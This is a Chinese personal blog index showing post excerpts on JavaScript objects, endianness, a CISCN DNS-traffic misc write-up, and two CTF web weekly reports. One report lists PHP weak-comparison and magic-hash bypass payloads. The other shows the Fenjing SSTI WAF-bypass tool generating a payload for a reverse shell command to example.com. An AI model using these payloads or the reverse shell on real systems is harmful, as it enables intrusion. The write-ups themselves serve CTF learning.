🍕JavaScript-创建对象的六种方式

创建对象 使用对象字面量 这是最常用的方法。 let person={ name: "John", age: 20, greet: function() { console.log("Hello,my name is "+this.name); } } person.greet(); //输出Hello,my name is John 使用构造函数 定义一个构造函数,然后使用new关键字来创建对象。 function Person(name, age) { this.name = name; this.age = age; this.greet = function() { console.log("Hello, my name is " + this.name); }; } // 创建对象 let john = new Person("John", 30); john.greet(); // 输出: Hello, my name is John 使用 Object.create() 方法 代码来自: Object.create() - JavaScript | MDN (mozilla.org) const person = { isHuman: false, printIntroduction: function () { console.log(`My name is ${this.name}. Am I human? ${this.isHuman}`); }, }; const me = Object.create(person); me.name = 'Matthew'; // “name”是在“me”上设置的属性,不是在“person”上。 me.isHuman = true; // 覆盖继承的属性 me.printIntroduction();//输出> "My name is Matthew. Am I human? true" 使用 ES6 类 ES6 引入了类语法,使得定义和创建对象更加直观。 ...

June 4, 2024 · 1 min · Yalois

​🕸️​CTFWeb周报11

十一次周报 Web PHP特性 弱比较 字符串的运算(T1) <?php highlight_file(__FILE__); error_reporting(0); $s = $_GET['a']; if(!is_numeric($s)){ if($s+1 === 1000){ die(getenv('FLAG')); } } ?> payload => ?a=999a 知识点 在PHP中,当你对一个字符串进行算术运算时,PHP会尝试将这个字符串转换为一个数字。如果字符串的开头部分是一个有效的数字,那么PHP会使用这个数字进行运算,忽略后面的非数字部分。 所以999a既绕过了!is_numberic,又在$s+1的时候得到1000。 Hash绕过(T2) <?php highlight_file(__FILE__); error_reporting(0); $a = $_GET['param1']; $b = $_POST['param2']; $c = $_GET['param3']; $d = $_POST['param4']; if($a!=$b && md5($a)==md5($b) && $c!=$d && sha1($c)==sha1($d)){ echo getenv('FLAG'); }else{ echo "fail"; } ?> payload=> GET param1=240610708&param3=aaroZmOk POST param2=QLTHNDT&param4=aaK1STfY 知识点 某些字符串经过hash处理后的值为0e开头的,PHP会当作科学计数法来处理。两个0e开头的hash值弱比较是相等的。 在此中情况下被弱比较类型判定为相等的hash值就被成为magic hash Plaintext MD5 Hash 240610708 0e462097431906509019562988736854 QLTHNDT 0e405967825401955372549139051580 QNKCDZO 0e830400451993494058024219903391 PJNPDWY 0e291529052894702774557631701704 NWWKITQ 0e763082070976038347657360817689 NOOPCJF 0e818888003657176127862245791911 MMHUWUV 0e701732711630150438129209816536 MAUXXQC 0e478478466848439040434801845361 IHKFRNS 0e256160682445802696926137988570 GZECLQZ 0e537612333747236407713628225676 GGHMVOE 0e362766013028313274586933780773 GEGHBXL 0e248776895502908863709684713578 EEIZDOI 0e782601363539291779881938479162 DYAXWCA 0e424759758842488633464374063001 DQWRASX 0e742373665639232907775599582643 BRTKUJZ 00e57640477961333848717747276704 ABJIHVY 0e755264355178451322893275696586 aaaXXAYW 0e540853622400160407992788832284 aabg7XSs 0e087386482136013740957780965295 aabC9RqS 0e041022518165728065344349536299 0e215962017 0e291242476940776845150308577824 Plaintext SHA1 Hash aaroZmOk 0e66507019969427134894567494305185566735 aaK1STfY 0e76658526655756207688271159624026011393 aaO8zKZF 0e89257456677279068558073954252716165668 aa3OFF9m 0e36977786278517984959260394024281014729 Plaintext MD4 Hash bhhkktQZ 0e949030067204812898914975918567 0e001233333333333334557778889 0e434041524824285414215559233446 0e00000111222333333666788888889 0e641853458593358523155449768529 0001235666666688888888888 0e832225036643258141969031181899 更多Magic Hashes请参考:https://github.com/spaze/hashes 版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。 原文链接:https://blog.csdn.net/qq_42739469/article/details/133311487 数组绕过 T3 这里是强比较,没法用hash绕过,因为'0e666’===‘0e777’的值为false。上一题hash绕过的题也是可以进行数组绕过的。 ...

June 2, 2024 · 2 min · Yalois

❕字节序:小端模式和大端模式

网络字节序是大端模式。 高位和低位 0x1122334455 左边是高位,右边是地位 十进制举例–>987 9(百位)是高位 7(个位)是低位 低地址和高地址(在内存中 0x1000h是低地址。 0x1001h是高地址。 如果你有两个内存地址,0x1000h 和 0x1001h,它们分别表示内存中的第 4096 和第 4097 个字节的位置。每个地址通常指向一个字节(8 位)。 大端模式 在大端模式下,数据的高字节存储在内存的低地址,而低字节存储在内存的高地址。 高字节低地址,低字节高地址。 小端模式 在小端模式下,数据的低字节存储在内存的低地址,而高字节存储在内存的高地址。 总结图 我把它总结成了一张图。 参考Url 高地址和低地址、高字节与低字节、大小端模式的转换、存储顺序-CSDN博客 大端模式、小端模式、高字节序、低字节序、MSB、LSB-CSDN博客 大端序和小端序_大端序和小端序的区别-CSDN博客 数据存储:小端模式和大端模式——终于搞明白了!!!_低地址和高地址是什么意思-CSDN博客 高位字节、低位字节 - 大胖儿在努力 - 博客园 (cnblogs.com) 关于内存地址与内存空间的理解_地址和存储空间的关系-CSDN博客 字节序(大小端)理解_字节序为小端序-CSDN博客 如果我的内容有错误,请通过下方的评论按钮联系我,谢谢。

May 26, 2024 · 1 min · Yalois

🕸️CTFWeb周报10

[SSTI自动化工具]Fenjing 专为CTF设计的Jinja2 SSTI全自动绕WAF脚本 | A Jinja2 SSTI cracker for bypassing WAF, designed for CTF https://github.com/Marven11/FenJing 使用pip安装运行 pip install fenjing 打开webui python -m fenjing webui 直接import库来生成payload # 精简代码 from fenjing import exec_cmd_payload def waf(s: str): blacklist = [ "config", "self", "g", "os", "class", "length", "mro", "base", "lipsum", "[", '"', "'", "_", ".", "+", "~", "{{", "0", "1", "2", "3", "4", "5", "6", "7", "8", "9", ] return all(word not in s for word in blacklist) shell_payload, will_print = exec_cmd_payload(waf, '要执行的shell') print(f"{shell_payload}") # github readme中提供的 from fenjing import exec_cmd_payload, config_payload import logging logging.basicConfig(level = logging.INFO) def waf(s: str): blacklist = [ "config", "self", "g", "os", "class", "length", "mro", "base", "lipsum", "[", '"', "'", "_", ".", "+", "~", "{{", "0", "1", "2", "3", "4", "5", "6", "7", "8", "9", "0","1","2","3","4","5","6","7","8","9" ] return all(word in s for word in blacklist) if __name__ == "__main__": shell_payload, _ = exec_cmd_payload(waf, "bash -c \"bash -i >& /dev/tcp/example.com/3456 0>&1\"") config_payload = config_payload(waf) print(f"{shell_payload=}") print(f"{config_payload=}") 无参数RCE 正则匹配网页:https://regex101.com/ ...

May 25, 2024 · 2 min · Yalois

😎17届CISCN初赛-Misc-Tough_DNS

Tough_DNS 附件是个数据包,打开数据包,分析,发现大致有两大类数据包。 010是二进制数据,优先使用tshark导出,因为有重复的,再加一个过滤 wireshark导出 删除.baidu.com留下二进制数据 用二进制生成文件发现并没有啥用,因为这个二进制数据每一行长度相等的,是个矩形。可以考虑二维码,我是在记事本里缩放发现是个二维码。这里移除完换行你会发现文本长度是441,正好是21^2。 扫描二维码的得到15f9792dba5c,不知道是干什么的,先存着。 记事本无法缩放的可以通过python脚本来生成二维码 from PIL import Image from zlib import * MAX = 21 # 数字的长度为一个整数的平方(如36^2=1296) pic = Image.new("RGB",(MAX,MAX)) str ="111111101100101111111100000100100101000001101110101010101011101101110101001001011101101110101110001011101100000100000001000001111111101010101111111000000000110000000000111100101010010011101010010000010110111111011001111000101100001001110000110100001000000101111001001100000000000001111001110010111111100100011010110100000100011010000100101110100001000010110101110101110110100110101110101011110101100100000101110001111001111111101111001111100" i=0 for y in range(0,MAX): for x in range(0,MAX): if(str[i] == '1'): pic.putpixel([x,y],(0,0,0)) else:pic.putpixel([x,y],(255,255,255)) i = i+1 pic.show() #pic.save("1.png") 继续观察数据包。 发现另一种数据有两种类型,每一个数据都存在TXT字段里 继续导出 tshark -r Tough_DNS.pcapng -T fields -Y “frame.len==100&&dns.id==0x4500” -e dns.txt > 0x4500 tshark -r Tough_DNS.pcapng -T fields -Y “frame.len==100&&dns.id==0x6421” -e dns.txt > 0x6421 导出的文件需要移除换行。 在线删除所有回车换行工具 - UU在线工具 (uutool.cn) ...

May 19, 2024 · 1 min · Yalois